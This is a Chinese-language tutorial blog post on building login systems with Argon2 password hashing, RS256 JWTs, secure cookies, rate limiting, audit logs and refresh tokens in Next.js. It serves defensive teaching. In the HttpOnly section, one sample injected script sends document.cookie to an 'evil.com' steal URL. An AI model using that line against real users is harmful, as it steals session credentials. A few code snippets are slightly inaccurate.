Max
搜索
返回故事会

登录这回事——从明文密码到刷新令牌,我踩过的坑都在这里了

42 分钟阅读1Max ZhangBackend
Next.jsJWT认证安全Argon2

周五下午,你在公司里写代码。

一个 side project,一个小博客,或者一个你心血来潮想做的工具站——反正就是那种"先跑起来再说"的项目。你做到了注册页面,一个用户名输入框,一个密码输入框,一个提交按钮。你在后端写了几行代码,把用户名和密码存进了数据库。测试了一下,能用。

你站起来倒了杯水,觉得这事就算搞定了。

然后你躺在床上刷手机,忽然想到一个问题:我把用户密码直接存进数据库了,这他妈的对吗?

你翻了个身,又想到一个问题:如果数据库被人拖走了怎么办?你又翻了个身:那登录之后,服务器怎么知道我刚才已经登过了?你坐起来了:Cookie 又是什么鬼?JWT 那三段 base64 到底是怎么工作的?

你睡不着了。

这篇文章就是我想对那个周五下午的自己说的话。我不会给你扔一堆 RFC 文档链接,不会用"去中心化令牌鉴权体系"这种鬼话糊弄你。我就用大白话,把登录这件事——从密码怎么存、到登录状态怎么管、到 Cookie 怎么配、到生产环境里那些你不做就会被干穿的安全措施——全部讲清楚。


一、密码:你以为存个 hash 就完事了?

明文密码,等于裸奔

先看一段代码。别看,闭眼想象一下就行:

CREATE TABLE users (
    id INT PRIMARY KEY,
    username VARCHAR(50),
    password VARCHAR(50)  -- 明文,你他妈的认真的吗
);

你把这段 SQL 跑上去,用户注册,密码直接存进去。一切正常。然后某天,数据库被拖走了——可能是你代码里有个 SQL 注入没堵,可能是服务器被拿到了 shell,可能是某个第三方服务泄露了备份。不管怎么发生的,结果只有一个:所有用户的密码,现在是公开的了。

用户会在 N 个网站用同一个密码,这是人性,不是你教育他们两句"要用不同的密码"就能改变的事实。你的数据库一泄露,黑客拿这些用户名和密码去撞库——淘宝、微信、银行——你猜会怎样?

卧槽。

所以密码不能明文存。但存什么?

Hash:数字世界的碎纸机

你走进办公室,把一叠 A4 纸塞进碎纸机。按钮一按,出来的是一堆纸条。你根本看不出原来纸上写的是什么。但是——只要你用同一台碎纸机碎同一份文件,出来的纸条永远是一样的。

哈希(Hash),就是这台碎纸机。

"123456" + SHA256 → e150a1ec81e8e93e1eae2c3a77e66ec6dbd6a3b460f89a1b08eecf880ee9a6d8
"123456" + SHA256 → e150a1ec81e8e93e1eae2c3a77e66ec6dbd6a3b460f89a1b08eecf880ee9a6d8

同样的输入,永远输出同样的乱码。反向推导?不可能——就像你不能从一堆纸条重新拼出原始文件。

所以你存 hash 就行了,对吗?用户登录时,把输入的密码用同样的算法算一遍,结果跟数据库里存的对比,对上就放行。

听起来很美。但有一个问题:你和隔壁老王都用了 SHA256,你们的密码又碰巧都是 123456——那你们数据库里的 hash 值,一模一样。黑客看到两个相同的 hash,就知道这两个人的密码是一样的。如果他的彩虹表里恰好有 123456 的 SHA256 值,啪,两个人都被攻破了。

加盐:一人一道菜

你开了一家餐馆。所有人都点"红烧肉",端上来的味道都一样。现在你给每个人上菜时加一点私料——张三的菜里放点辣椒,李四的菜里放点豆豉,王五的菜里放点九层塔。同一道菜,味道完全不同。

盐(Salt),就是这撮私料。

const salt = crypto.randomBytes(16).toString('hex') // 比如 "a3f7b2c9..."
const hash = sha256(password + salt) // 123456 + a3f7b2c9... = 完全不同的乱码

每个人的盐是随机生成的,所以即使密码相同,最后的 hash 也天差地别。黑客想破解?得每个用户单独算一遍——成本不再是 N,而是 N × 每个盐。

但这还不够。因为有些 hash 算法,太快了。

MD5:死于太快

MD5 是上个世纪九十年代的东西了。它的设计目标是"快"——因为当时主要用来校验文件完整性,快是优点。但到了密码存储的场景,快就是死罪

现在的显卡(3090、4090 之类),一秒能算上百亿次 MD5。黑客搞一个常见密码字典,预先算好所有密码的 MD5 值,这就是"彩虹表"。你的数据库泄露之后,他根本不用现场算——直接查表匹配,几秒钟就跑完了。

MD5 加盐在今天约等于不加密。 别用。谁跟你说 MD5 能用,你就把他拉到这篇文章底下让他读三遍。

-- 这种表结构在 2005 年可能还行,在 2026 年就是找死
CREATE TABLE users (
    id INT PRIMARY KEY,
    username VARCHAR(50),
    password_hash VARCHAR(32),  -- MD5
    salt VARCHAR(16)
);

bcrypt:故意把锁变慢

bcrypt 的思路,就一个字:

你想象一下,你家大门上装的不是普通锁,而是一个需要你等一秒钟才能打开的锁。对你来说,一秒钟根本无所谓——但如果有个人想挨家挨户撬锁,一秒钟×一千万户房子,他就崩溃了。

bcrypt 就是这样的"故意慢锁"。它有一个参数叫成本因子(cost factor),设为 12 的时候,每次 hash 大约需要 250 毫秒。一个用户注册,等 250 毫秒毫无感觉。但黑客想暴力破解,一秒只能试 4 次,而不是 40 亿次。

const hash = await bcrypt.hash(password, 12)
// 输出格式: $2b$12$盐值(22字符).哈希(31字符)
// 盐值直接嵌在输出里,不用单独存一列

bcrypt 还天然抵抗 GPU——它的算法里有很多内存访问操作,GPU 的并行架构处理这个并不擅长。

但 bcrypt 也有局限。它主要靠时间成本,对 ASIC(专用芯片)的防护有限。而且内存使用相对固定,没法灵活调大。

Argon2:三维防御

2015 年,密码学圈搞了一次竞赛——"密码哈希竞赛"(Password Hashing Competition)。最终,一个叫 Argon2 的算法拿了冠军。它的核心思路是:三个维度同时加大难度,让你没法靠硬件单维度碾压

参数什么意思为什么有用
memoryCost内存使用量GPU 和 ASIC 再强,内存带宽是物理瓶颈
timeCost迭代次数多算几遍,时间成本直接翻倍
parallelism并行度限制求解时可以同时跑的线程数

换句话说,bcrypt 只能让一把锁变慢,Argon2 能把锁、门框、墙体全部加固。

import { hash, verify, argon2id } from 'argon2'

async function hashPassword(password: string): Promise<string> {
  return await hash(password, {
    type: argon2id, // 混合模式,安全性和性能的最佳平衡
    memoryCost: 65536, // 64MB 内存
    timeCost: 3, // 迭代 3 次
    parallelism: 4, // 4 个线程
    hashLength: 32,
  })
}

Argon2 有三种模式:

  • argon2d:最大程度抵抗 GPU,但理论上可能被侧信道攻击(通过功耗分析推断密码)。
  • argon2i:专门抵抗侧信道攻击,但对 GPU 的防护相对弱。
  • argon2id(推荐):前两者的混合体。日常生活用这个就够了——你不是军火商,没人会给你上侧信道。

进化总结

算法年代安全理念抗GPU抗ASIC能调参数推荐?
MD5+盐1990s快速哈希固定别用
bcrypt1999时间成本中等有限时间能用但不最佳
Argon22015内存+时间三维首选

生产环境怎么选

新项目:直接用 Argon2,不要犹豫。没有什么"Argon2 太新了不敢用"——它拿了密码哈希竞赛冠军已经十年了,库也足够成熟。

已有 bcrypt 系统:迁移不是必须的,bcrypt 本身没有被破解。但新功能应该用 Argon2。你可以逐步迁移——新用户用 Argon2,老用户登录时重新 hash。

Argon2 不解决什么问题:如果你的用户密码是 123456,天王老子来了也保不住。Argon2 能保护的是"正常强度的密码不会被暴力破解",不是"弱密码变强密码"。


二、JWT:你凭什么说你就是你?

登录之后,后续请求怎么带身份

好了,你学会了怎么存密码。用户注册、登录,你验证密码,放行。然后呢?

用户点了一个按钮,浏览器发了一个新的 HTTP 请求到你的服务器。但 HTTP 是无状态的——这个请求不知道刚才那个请求是谁发的。你需要某种机制,让后续的每一个请求都能证明"我是刚才登过的那个人"。

这就有两条路。

方案一:Session(传统的登录状态管理)

你去一家高档餐厅吃饭。进门时,前台给你一个号牌。你把外套挂在衣帽间,他们给你一个小牌子。你去座位上点菜,服务员问"你是几号?"你报了牌子号码,服务员去系统里查——对,这位客人确实在这里。

这就是 Session

用户登录 → 服务器生成 Session ID = "abc123" → 返回给浏览器(通常存 Cookie)
后续请求 → 浏览器自动带上 Session ID → 服务器查表:"abc123 对应的是张三,放行"

Session 的优点是简单——服务器端完全控制,想踢人就踢人。缺点也很明显:服务器需要存状态。如果你有十台服务器,用户登录时连的是 A 服务器,下次请求连的是 B 服务器——B 服务器不认识这个 Session ID。你得搞一个共享的 Session 存储(Redis 之类的),这就是额外的运维负担。

方案二:JWT(身份证明自带)

你去火车站坐车,检票员不会给总站打电话问"这个人是谁"。你只需要掏出一张身份证。检票员看一眼——照片对得上,防伪标志在,钢印清晰——OK,放行。

这就是 JWT(JSON Web Token)

用户登录 → 服务器签发一个 Token → 返回给浏览器
后续请求 → 浏览器带上 Token → 服务器验证签名 → 从 Token 里读用户信息

不需要查表,不需要共享存储。Token 本身就带着用户信息。服务器唯一要做的就是验证"这个 Token 是不是我签的,有没有被人改过"。

JWT 长什么样

一个 JWT 拆成三段,用点号隔开。长这样:

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiIxMjMiLCJuYW1lIjoibWF4In0.d1a2b3c4d5e6f7g8h9i0j1k2l3m4n5o6p7q8r9s0t1u2
    ↑ Header(头部)                ↑ Payload(载荷)                       ↑ Signature(签名)

Header:记录用哪种算法签名(比如 {"alg": "RS256"})。

Payload:存放用户信息,比如 {"userId": "123", "name": "max"}

Signature:用密钥对前两段内容做签名。如果 Token 里的任何一个字符被改了,签名就对不上了。

一个很重要的提醒:Payload 不是加密的! 它只是 Base64 编码——Base64 不是加密,是编码。任何人都能解码它。所以你千万别把密码、身份证号、银行卡号这种东西往 JWT 里塞。

HS256 还是 RS256?

JWT 支持两种算法家族:

对称算法(HS256):签名和验证用同一把密钥。就像你家门上的普通锁——同一把钥匙能开也能关。速度快,但在分布式系统里有隐患:每台需要验证 JWT 的服务器都得持有这把密钥,密钥泄露的风险乘以服务器数量。

非对称算法(RS256):签名用私钥(藏在服务端),验证用公钥(随便发)。就像你写字签名——只有你能签,但任何人都可以对着你的笔迹核对。公钥甚至可以硬编码在前端代码里,泄露了也无所谓——它只能验证,不能签名。

生产环境,用 RS256。 别商量。

import { SignJWT, jwtVerify } from 'jose'

// 用私钥签名
const token = await new SignJWT({ userId: '123', name: 'max' })
  .setProtectedHeader({ alg: 'RS256' })
  .setIssuedAt() // 签发时间
  .setExpirationTime('7d') // 7天后过期
  .sign(privateKey) // 私钥签名

// 用公钥验证
const { payload } = await jwtVerify(token, publicKey)
// payload = { userId: '123', name: 'max' }

JWT 的三个痛点

JWT 听起来美,但有三个你绕不过去的坑。

痛点一:Token 被偷了怎么办?

Token 存在浏览器里。如果有人通过 XSS 攻击拿到了你的 Token,或者你在咖啡店的公共 WiFi 上被中间人截获了请求——黑客现在就是你了。他可以在 Token 过期之前,以你的身份做任何事情。

而且最重要的是:服务器没法主动让一个 JWT 失效。JWT 是无状态的——服务器不存任何东西,所以没法"撤销"一个 Token。它唯一的失效方式就是自己过期。

怎么办?后面会讲刷新令牌机制。但核心思想就是:别让单个 Token 活太久。

痛点二:Token 越来越大

每次请求你都带着整个 JWT。如果你往 Payload 里塞了一堆东西——用户权限列表、最近浏览记录、头像 URL——那每个 HTTP 请求都会额外膨胀几百字节。一个页面发了 20 个 API 请求?那就膨胀 20 次。

Payload 只存最少的信息:userId 和 name。够了。

痛点三:Token 撤销是伪命题

JWT 的设计理念是"自包含、无状态"。但生产环境里,你几乎总是需要撤销能力——用户改密码了,之前的 Token 必须失效。你的选择是:

  • 维护一个黑名单(违背了无状态理念)
  • Token 有效期极短 + 刷新机制(这才是正道)

JWT 不解决什么?

  • JWT 不解决 XSS 攻击——Payload 在浏览器端是明文可读的;
  • JWT 不解决 中间人攻击——你需要 HTTPS;
  • JWT 不解决 权限控制——它只证明"你是谁",不决定"你能做什么"。

三、Cookie:Token 怎么传才不会被偷

Cookie vs LocalStorage

你签发了 JWT,现在的问题是:浏览器怎么在后续请求里把它送回来?

方案一:存 Cookie。 浏览器自动在每次请求时带上,你什么都不用做。

方案二:存 LocalStorage。 然后你手动在每次 fetch 时加 Authorization: Bearer xxx 头。

CookieLocalStorage
自动发送否(需要手动加)
JS 可读默认可以默认可以
防 XSS配合 HttpOnly 可防不能防(XSS 脚本直接读)
防 CSRF需要配合 SameSite天然免疫
适用场景Web 应用首选SPA + API 分离

两害取其轻——Cookie 配 HttpOnly 后,至少 XSS 读不到你的 Token。CSRF 可以用 SameSite 防。

HttpOnly:钱包放内兜

你去一个人挤人的市场,钱包是放在外套口袋里还是放在衣服内兜里?

放外套口袋:贼手一伸就够着了。放内兜:贼需要先解开你的衣服扣子,这动作太大了。

HttpOnly 就是这个内兜。它是一个 Cookie 属性——设置了之后,浏览器上的 JavaScript 代码完全读不到这个 Cookie

<!-- 恶意脚本注入了你的页面 -->
<script>
  // 尝试读取 Cookie
  console.log(document.cookie)
  // 如果 auth_token 有 HttpOnly,
  // 这行代码只能看到普通 Cookie,看不到 auth_token
  fetch('https://evil.com/steal?data=' + document.cookie)
</script>

XSS 脚本偷不到 Token,至少不会让你"既被 XSS,又丢认证"——双层保险。

SameSite:银行柜台只认自家窗口

你在一家咖啡店蹭 WiFi。你刚才登录了自己的网上银行,Cookie 还在浏览器里。你不小心点了一个"免费领取星巴克礼品卡"的链接,这个链接实际上向银行发了一个转账请求。

因为浏览器会自动带上 Cookie,银行看到请求带 Cookie——"哦,这个人已经登录了,放行"——钱就转走了。

这他妈的就是 CSRF(跨站请求伪造)

SameSite 就是干这个的。它告诉浏览器:只有在什么情况下才带上 Cookie。

SameSite 值行为
strict只在自己网站内部发请求时带 Cookie(从外部链接点进来不带)
lax自己的请求 + 从外部链接点进来的 GET 请求都带(POST 不带)
none任何时候都带(需要同时设置 Secure

strict 最安全,但体验有坑——用户从微信点你的链接进来,因为没有 Cookie,页面显示"未登录"。他妈的,明明刚才还登着呢。所以很多网站用 lax,折中一下。

完整 Cookie 配置

import { cookies } from 'next/headers'

const cookieStore = await cookies()

cookieStore.set('auth_token', token, {
  httpOnly: true, // 防 XSS
  secure: process.env.NODE_ENV === 'production', // 生产环境只走 HTTPS
  sameSite: 'lax', // 防 CSRF
  maxAge: 60 * 60 * 24 * 7, // 7 天
  path: '/', // 全站可用
})

三个属性缺一不可:

  • httpOnly: true → 没有这个,Token 约等于明文暴露给任何注入的 JS。
  • sameSite: 'lax' → 没有这个,你登录了银行,点个链接钱就没了。
  • secure: true → 没有这个,咖啡店的中间人可以直读你的 Cookie。

四、完整流程:从注册到登出

好了,理论知识够了。让我们把这些东西串起来,看一个完整的认证流程。

注册

import { hash, argon2id } from 'argon2'
import { z } from 'zod'

const registerSchema = z.object({
  name: z
    .string()
    .min(2, '用户名至少2个字符')
    .max(50)
    .regex(/^[a-zA-Z0-9_]+$/, '只能包含字母、数字、下划线'),
  password: z
    .string()
    .min(8, '密码至少8位')
    .max(128)
    .regex(/[A-Z]/, '必须包含大写字母')
    .regex(/[a-z]/, '必须包含小写字母')
    .regex(/[0-9]/, '必须包含数字'),
})

async function register(name: string, password: string) {
  // 1. 输入验证 —— Zod 在运行时实实在在地检查
  const result = registerSchema.safeParse({ name, password })
  if (!result.success) {
    return { code: -1, message: result.error.errors[0].message }
  }

  // 2. 查重
  const exists = await prisma.user.findFirst({ where: { name } })
  if (exists) {
    return { code: -1, message: '用户名已被占用' }
  }

  // 3. Argon2 hash
  const hashedPassword = await hash(password, {
    type: argon2id,
    memoryCost: 65536,
    timeCost: 3,
    parallelism: 4,
    hashLength: 32,
  })

  // 4. 只存 hash,不存明文
  await prisma.user.create({
    data: { name, password: hashedPassword },
  })

  return { code: 0, message: '注册成功' }
}

登录

登录比注册多一步——验证密码之后,要签发 JWT,设置 Cookie。

async function login(name: string, password: string) {
  // 1. 找用户
  const user = await prisma.user.findFirst({ where: { name } })
  if (!user) {
    // 注意:不要区分"用户不存在"还是"密码错误"
    return { code: -1, message: '用户名或密码错误' }
  }

  // 2. 验证密码 —— Argon2 的 verify 自动处理盐值
  const isValid = await verify(user.password, password)
  if (!isValid) {
    return { code: -1, message: '用户名或密码错误' }
  }

  // 3. 签发 JWT
  const token = await new SignJWT({
    userId: user.id,
    name: user.name,
  })
    .setProtectedHeader({ alg: 'RS256' })
    .setExpirationTime('7d')
    .sign(privateKey)

  // 4. 设置 Cookie
  const cookieStore = await cookies()
  cookieStore.set('auth_token', token, {
    httpOnly: true,
    secure: process.env.NODE_ENV === 'production',
    sameSite: 'lax',
    maxAge: 60 * 60 * 24 * 7,
    path: '/',
  })

  return { code: 0, message: '登录成功' }
}

为什么错误信息要写成"用户名或密码错误"而不是分开提示?

因为如果分开提示——"用户名不存在"vs"密码错误"——黑客就能通过尝试不同用户名来探测哪些用户名已经注册。这叫用户枚举攻击。一旦拿到了有效用户名列表,下一步就是针对性地尝试密码。所以错误信息要模糊,不给攻击者提供任何额外信息。

检查当前用户

async function getCurrentUser() {
  const cookieStore = await cookies()
  const token = cookieStore.get('auth_token')?.value

  if (!token) return null

  try {
    const { payload } = await jwtVerify(token, publicKey)
    return payload // { userId, name }
  } catch {
    return null // Token 过期或被篡改
  }
}

登出

JWT 的无状态特性在这里有个小尴尬:登出只需要删除 Cookie 就够了——但 Token 本身还"活着"。如果有人在你登出之前截获了 Token,在它过期之前他还是能用。

async function logout() {
  const cookieStore = await cookies()
  cookieStore.delete('auth_token')
  // Token 在服务器端还"有效",但浏览器不会再发送它了
}

这个问题——"登出后 Token 还能用"——正是我们需要刷新令牌机制的原因之一。


五、Next.js 15 的一个坑:Server Actions 不能导出类

Next.js 15 的 Server Actions 有个限制:'use server' 文件只能导出普通函数,不能导出类或类的实例

这并不意味着你要放弃面向对象。你可以在内部用类组织逻辑,对外暴露函数:

// lib/auth-service.ts —— 内部实现,面向对象
class AuthService {
  async register(name: string, password: string) {
    /* ... */
  }
  async login(name: string, password: string) {
    /* ... */
  }
  async logout() {
    /* ... */
  }
  async getCurrentUser() {
    /* ... */
  }
}

// lib/auth-actions.ts —— 对外暴露,函数式
import { AuthService } from './auth-service'

const authService = new AuthService()

export async function register(formData: FormData) {
  const name = formData.get('name') as string
  const password = formData.get('password') as string
  return await authService.register(name, password)
}

export async function login(formData: FormData) {
  const name = formData.get('name') as string
  const password = formData.get('password') as string
  return await authService.login(name, password)
}

export async function logout() {
  return await authService.logout()
}

这个模式的好处:内部逻辑组织清晰、单元测试方便、业务逻辑可复用。对外则是干净的函数式 API,完全符合 Next.js 的规范。


六、前端:用 Hook 管住状态

在客户端,你需要知道"当前用户是登录还是没登录"。一个自定义 Hook 就够了:

function useAuth() {
  const [user, setUser] = useState<User | null>(null)
  const [loading, setLoading] = useState(true)

  const checkAuth = useCallback(async () => {
    setLoading(true)
    try {
      const userData = await fetchCurrentUser()
      setUser(userData)
    } catch {
      setUser(null)
    } finally {
      setLoading(false)
    }
  }, [])

  useEffect(() => {
    checkAuth()
  }, [checkAuth])

  return {
    user,
    loading,
    isAuthenticated: user !== null,
    refresh: checkAuth,
  }
}

在页面里用:

function DashboardPage() {
  const { user, loading, isAuthenticated, refresh } = useAuth()

  if (loading) return <div>加载中...</div>
  if (!isAuthenticated) return <div>请先登录</div>

  return (
    <div>
      <h1>欢迎回来,{user.name}</h1>
      <button
        onClick={async () => {
          await logout()
          refresh()
        }}
      >
        退出登录
      </button>
    </div>
  )
}

七、别只存密码和发 Token——打上三层补丁

速率限制:夜店保安

你去一个夜店,门口一个大哥拦住你:"今晚最多试三张身份证,三张都不对,你就在外面等一小时。"

速率限制就是这个大门保安。防止有人用脚本暴力尝试密码。

import { RateLimiter } from 'rate-limiter-flexible'

// 按 IP 限制
const ipLimiter = new RateLimiter({
  points: 10, // 10 次尝试
  duration: 60, // 60 秒内
  blockDuration: 300, // 超过了封 5 分钟
})

// 按用户名限制——防止一个人用字典攻击锁定某个账户
const usernameLimiter = new RateLimiter({
  points: 5, // 5 次尝试
  duration: 900, // 15 分钟内
  blockDuration: 900,
})

async function login(ip: string, name: string, password: string) {
  try {
    await ipLimiter.consume(ip)
  } catch {
    return { code: -1, message: '操作过于频繁,请稍后再试' }
  }
  try {
    await usernameLimiter.consume(name)
  } catch {
    return { code: -1, message: '该账户尝试过多,请15分钟后再试' }
  }
  // ... 正常登录逻辑
}

审计日志:监控摄像头

你在商场里,头顶全是摄像头。你没犯事的时候它们只是安静地录着。万一有事情,调监控就能看到整个过程。

审计日志就是这些摄像头。

async function createAuditLog(action: string, metadata: Record<string, any>, userId?: string) {
  await prisma.auditLog.create({
    data: {
      action, // 'LOGIN_SUCCESS' / 'LOGIN_FAILED' / 'REGISTER'
      userId,
      metadata, // { reason: 'wrong_password', ip: '...' }
      ipAddress: getClientIP(),
      userAgent: getUserAgent(),
    },
  })
}

// 登录时记录
async function login(name: string, password: string) {
  // ... 验证逻辑 ...
  if (!user) {
    await createAuditLog('LOGIN_FAILED', { reason: 'user_not_found' })
    return { code: -1, message: '用户名或密码错误' }
  }
  if (!isValid) {
    await createAuditLog('LOGIN_FAILED', { reason: 'wrong_password', userId: user.id })
    return { code: -1, message: '用户名或密码错误' }
  }
  await createAuditLog('LOGIN_SUCCESS', { userId: user.id })
  // ...
}

审计日志有两个原则:

  1. 记录失败的尝试时,尽量详细(哪个 IP、什么原因、几点几分)。
  2. 审计日志本身失败了,不要影响业务流程——日志是辅助,不是阻断。

输入验证:安检门

在你注册页面的输入框里,有人输入了一段 SQL 语句怎么办?有人输入了 <script>alert(1)</script> 怎么办?有人输入了一个 2MB 长的用户名字段怎么办?

Zod 在服务端做输入验证就是你的安检门——不管你前端有没有验证,后端必须再验证一遍。因为前端验证可以被绕过——curl 一个 POST 请求过去,你前端的所有 form validation 都形同虚设。

const loginSchema = z.object({
  name: z.string().min(1).max(50),
  password: z.string().min(6).max(100),
})

// 在 login 函数里,第一件事就做这个
const result = loginSchema.safeParse({ name, password })
if (!result.success) {
  return { code: -1, message: result.error.errors[0].message }
}

八、刷新令牌:解决 JWT 的核心矛盾

那个让你失眠的矛盾

回到 JWT 的最大痛点。

Token 有效期太长 → 被盗后的攻击窗口太大,等于给黑客开了一个长假期。

Token 有效期太短 → 用户每隔 15 分钟就要重新输密码登录,体验就是一坨屎。

怎么破?

回答:两个 Token,各司其职

你去健身房办了一张会员卡。这张卡分两个部分:

  1. 入场手环(短期,15 分钟有效):进闸机用。丢了?没关系,15 分钟后自动失效。
  2. 续费卡(长期,7 天有效):手环快过期的时候,你拿续费卡去前台刷一下,换个新手环。不丢人,无感操作。

在认证系统里:

  • Access Token = 入场手环。有效期 15 分钟。用于每次 API 请求的身份验证。丢了就丢了,攻击窗口只有 15 分钟。
  • Refresh Token = 续费卡。有效期 7 天。只在刷新 Access Token 的时候使用,平常不用,暴露风险极低。丢了?你可以随时去系统里撤销它。
用户操作流程:
1. 登录         → 服务器发给你 Access Token + Refresh Token
2. 正常用       → 拿着 Access Token 到处用
3. Access 快过期 → 自动拿 Refresh Token 换一个新的 Access Token
4. Refresh 也过期 → 重新登录吧,太久没来了
5. 登出         → 服务器把 Refresh Token 标记为撤销

三种实现方案的权衡

方案一:有状态(存库)

把 Refresh Token 完整存进数据库。好处是控制力强——随时能撤销、能查设备列表、能记录日志。坏处是需要数据库存储,而且每次刷新都要查库。

方案二:无状态(纯 JWT)

Refresh Token 本身就是 JWT。好处是零数据库依赖,完全无状态。坏处是没法主动撤销——Token 一旦发出去,在过期之前它就是有效的。用户改密码了?之前的 Refresh Token 还能用,你想想这有多恐怖。

方案三:混合方案(只存元数据) —— 这才是正确答案

Refresh Token 仍然是 JWT,但你在数据库里只存它的唯一标识(jti)和状态(是否被撤销)。不存完整的 Token。这样保持了大部分无状态特性,同时获得了撤销能力。

model RefreshTokenMetadata {
  id        String   @id @default(cuid())
  jti       String   @unique    // JWT 里的唯一 ID
  userId    String
  expiresAt DateTime
  revoked   Boolean  @default(false)  // 可以随时设为 true 来撤销
  @@index([userId])
}

完整实现

签发 Access Token + Refresh Token

// Access Token: 15 分钟有效期
async function generateAccessToken(userId: string, name: string) {
  return await new SignJWT({ userId, name, type: 'access' })
    .setProtectedHeader({ alg: 'RS256' })
    .setIssuedAt()
    .setExpirationTime('15m')
    .sign(accessTokenPrivateKey)
}

// Refresh Token: 7 天有效期,附带 jti
async function generateRefreshToken(userId: string) {
  const jti = crypto.randomUUID()
  const expiresAt = new Date(Date.now() + 7 * 24 * 60 * 60 * 1000)

  // 只存元数据
  await prisma.refreshTokenMetadata.create({
    data: { jti, userId, expiresAt },
  })

  return await new SignJWT({ userId, jti, type: 'refresh' })
    .setProtectedHeader({ alg: 'RS256' })
    .setIssuedAt()
    .setExpirationTime('7d')
    .setJti(jti)
    .sign(refreshTokenPrivateKey)
}

验证 Refresh Token

async function verifyRefreshToken(token: string) {
  try {
    // 1. 验证 JWT 签名和过期时间
    const { payload } = await jwtVerify(token, refreshTokenPublicKey)

    // 2. 查数据库——这个 jti 有没有被撤销
    const metadata = await prisma.refreshTokenMetadata.findUnique({
      where: { jti: payload.jti as string },
    })

    if (!metadata || metadata.revoked) return { valid: false }
    if (metadata.expiresAt < new Date()) return { valid: false }

    return { valid: true, userId: payload.userId as string }
  } catch {
    return { valid: false }
  }
}

刷新 Access Token

async function refreshAccessToken() {
  const cookieStore = await cookies()
  const refreshToken = cookieStore.get('refresh_token')?.value

  if (!refreshToken) return { success: false }

  const { valid, userId } = await verifyRefreshToken(refreshToken)
  if (!valid || !userId) return { success: false }

  const user = await prisma.user.findUnique({ where: { id: userId } })
  if (!user) return { success: false }

  const newAccessToken = await generateAccessToken(user.id, user.name)

  cookieStore.set('access_token', newAccessToken, {
    httpOnly: true,
    secure: process.env.NODE_ENV === 'production',
    sameSite: 'lax',
    maxAge: 15 * 60,
    path: '/',
  })

  return { success: true }
}

前端自动刷新

用户不用知道 Access Token 过期了。你在 API 客户端里做静默刷新:

class ApiClient {
  private isRefreshing = false

  async request(url: string, options: RequestInit = {}) {
    const headers = { 'Content-Type': 'application/json', ...options.headers }

    let response = await fetch(url, { ...options, headers })

    // 如果返回 401,自动尝试刷新
    if (response.status === 401) {
      const refreshOk = await this.silentRefresh()
      if (refreshOk) {
        // 刷新成功,用新 Token 重试原请求
        response = await fetch(url, { ...options, headers })
      } else {
        // 刷新失败——跳转登录页
        window.location.href = '/login'
        throw new Error('认证过期')
      }
    }

    if (!response.ok) throw new Error(`请求失败: ${response.status}`)
    return response.json()
  }

  private async silentRefresh(): Promise<boolean> {
    if (this.isRefreshing) {
      // 已经有请求在刷新了,等它完成
      return new Promise((resolve) => setTimeout(() => resolve(this.silentRefresh()), 100))
    }

    this.isRefreshing = true
    try {
      const res = await fetch('/api/auth/refresh', { method: 'POST' })
      return res.ok
    } finally {
      this.isRefreshing = false
    }
  }
}

关键细节:isRefreshing 锁防止多个 401 触发并发刷新——10 个 API 同时返回 401,只有一个会真正发刷新请求,其余的等待。

登出时撤销

async function logout() {
  const cookieStore = await cookies()
  const refreshToken = cookieStore.get('refresh_token')?.value

  if (refreshToken) {
    try {
      const { payload } = await jwtVerify(refreshToken, refreshTokenPublicKey)
      // 在数据库中标记为已撤销
      await prisma.refreshTokenMetadata.update({
        where: { jti: payload.jti as string },
        data: { revoked: true },
      })
    } catch {
      // Token 可能已经过期了,不用管
    }
  }

  cookieStore.delete('access_token')
  cookieStore.delete('refresh_token')
}

不同 Path 的 Cookie

一个容易被忽略的细节:Access Token 和 Refresh Token 的 Cookie path 应该是不同的。

// Access Token: path='/'  —— 每次 API 请求都发送
cookieStore.set('access_token', accessToken, { path: '/' })

// Refresh Token: path='/api/auth/refresh'  —— 只在刷新接口发送
cookieStore.set('refresh_token', refreshToken, {
  path: '/api/auth/refresh',
  maxAge: 7 * 24 * 60 * 60,
})

为什么?减少 Refresh Token 的暴露面。正常 API 请求只需要 Access Token,不需要带 Refresh Token。你把 Refresh Token 的 path 限制在刷新接口,那它在 99% 的请求里都不会被发送,泄露风险降到最低。

刷新令牌的安全优势总结

优势说明
缩短攻击窗口Access Token 只有 15 分钟,黑客能操作的时间很短
用户体验好用户不知不觉中自动续期,不需要频繁输密码
可控的撤销随时可以把某个 jti 标记为 revoked
多设备管理每个登录设备独立的 Refresh Token,可以单独踢掉
快速响应泄露发现异常后,把用户的所有 Refresh Token 全部撤销

九、最后的最后:你怎么判断自己的认证系统够不够安全

我不给你总结。总结是别人替你思考的结果。

我给你一套问题。你对着自己现在的系统,一个一个问:

1. 密码存了吗?怎么存的?

  • 如果你现在就把数据库 dump 给别人看,他能看到用户的真实密码吗?
  • 如果两个用户的密码碰巧一样,数据库里的 hash 值一样吗?
  • 你用的 hash 算法是 Argon2 还是 bcrypt?如果是 MD5,你现在就去改。

2. Token 管了吗?

  • 你的 Token 过期时间是多久?超过 1 小时?考虑加刷新令牌机制。
  • 你的 Token 用的是什么签名算法?HS256?考虑换成 RS256。
  • 你的 Token 的 Payload 里放了什么?有没有用户手机号、密码、身份证号?立刻删掉。

3. Cookie 配对了吗?

  • httpOnly: true 设了吗?
  • sameSite: 'lax'strict 设了吗?
  • 生产环境 secure: true 设了吗?
  • Refresh Token 的 Cookie path 是不是限制在刷新接口?

4. 有人盯着吗?

  • 登录失败有没有记录审计日志?
  • 你有没有速率限制?(10 次/分钟/用户名 是最基本的)
  • 你有没有监控异常——比如某个 IP 在短时间内尝试了 50 个不同的用户名?

5. 如果有人偷到了 Token,你能做什么?

  • 你能主动撤销吗?(如果有刷新令牌机制,答案是"能")
  • 你能在多长时间内发现?(取决于你的审计日志粒度)
  • 你能撤销所有设备吗?(一键踢掉所有登录)

这五个问题没有标准答案。不同的应用,答案不同——银行系统和博客系统的安全要求完全不一样。

但如果你发现自己对其中某个问题完全没有想过——那就打开 IDE,开始补。

安全不是一次性工程。它是一个持续的、跟攻击者赛跑的过程。好的架构让你在面对新威胁时,只需要添加新的防护逻辑,而不是推倒重来。你只需要确保:每一次认证事件都有记录,每一个 Token 都可以被撤销,每一个攻击路径都有人盯着。

剩下的,就是在凌晨两点安心睡觉。

读者来信

0/1000

暂无来信,期待你的分享。